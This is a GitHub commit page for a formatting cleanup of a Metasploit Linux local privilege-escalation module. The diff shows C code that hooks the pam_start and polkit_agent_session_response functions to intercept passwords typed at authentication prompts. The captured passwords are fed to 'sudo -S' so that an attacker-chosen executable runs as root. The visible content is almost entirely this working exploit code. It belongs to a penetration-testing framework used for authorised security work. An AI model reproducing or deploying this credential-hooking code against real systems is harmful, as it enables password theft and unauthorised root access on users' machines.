Skip to content

Commit 43ec887

Browse files
committed
Do minor c code cleanup
1 parent 92113a6 commit 43ec887

File tree

1 file changed

+9
-7
lines changed

1 file changed

+9
-7
lines changed

modules/exploits/linux/local/desktop_privilege_escalation.rb

Lines changed: 9 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -174,23 +174,25 @@ def c_code(exe_file)
174174
int msg_style;
175175
const char *msg;
176176
};
177+
177178
struct pam_response {
178179
char *resp;
179180
int resp_retcode;
180181
};
182+
181183
struct pam_conv {
182184
int (*conv)(int num_msg, const struct pam_message **msg,
183185
struct pam_response **resp, void *appdata_ptr);
184186
void *appdata_ptr;
185187
};
186188
187-
void run_sudo(char* password){
188-
FILE* sudo = popen("sudo -S #{exe_file}","w");
189+
void run_sudo(char* password) {
190+
FILE* sudo = popen("sudo -S #{exe_file}", "w");
189191
fprintf(sudo,"%s\\n",password);
190192
pclose(sudo);
191193
}
192194
193-
int my_conv(int num_msg, const struct pam_message **msg, struct pam_response **resp, void *appdata_ptr){
195+
int my_conv(int num_msg, const struct pam_message **msg, struct pam_response **resp, void *appdata_ptr) {
194196
struct pam_conv *orig_pam_conversation = (struct pam_conv *)appdata_ptr;
195197
int i;
196198
int passwd_index = -1;
@@ -199,14 +201,14 @@ def c_code(exe_file)
199201
passwd_index = i;
200202
}
201203
}
202-
int result = orig_pam_conversation->conv(num_msg,msg,resp,orig_pam_conversation->appdata_ptr);
204+
int result = orig_pam_conversation->conv(num_msg, msg, resp, orig_pam_conversation->appdata_ptr);
203205
if(passwd_index >= 0){
204206
run_sudo(resp[passwd_index]->resp);
205207
}
206208
return result;
207209
}
208210
209-
int pam_start(const char *service_name, const char *user, const struct pam_conv *pam_conversation, pam_handle_t **pamh) __attribute__((export)){
211+
int pam_start(const char *service_name, const char *user, const struct pam_conv *pam_conversation, pam_handle_t **pamh) __attribute__((export)) {
210212
static int (*orig_pam_start)(const char *service_name, const char *user, const struct pam_conv *pam_conversation, pam_handle_t **pamh);
211213
if(!orig_pam_start){
212214
orig_pam_start = dlsym(RTLD_NEXT,"pam_start");
@@ -217,13 +219,13 @@ def c_code(exe_file)
217219
return orig_pam_start(service_name, user, my_pam_conversation, pamh);
218220
}
219221
220-
void polkit_agent_session_response (void *session, char *response) __attribute__((export)){
222+
void polkit_agent_session_response (void *session, char *response) __attribute__((export)) {
221223
static void *(*orig_polkit_agent_session_response)(void *session, char* response);
222224
if(!orig_polkit_agent_session_response){
223225
orig_polkit_agent_session_response = dlsym(RTLD_NEXT,"polkit_agent_session_response");
224226
}
225227
run_sudo(response);
226-
orig_polkit_agent_session_response(session,response);
228+
orig_polkit_agent_session_response(session, response);
227229
return;
228230
}
229231
|

0 commit comments

Comments
 (0)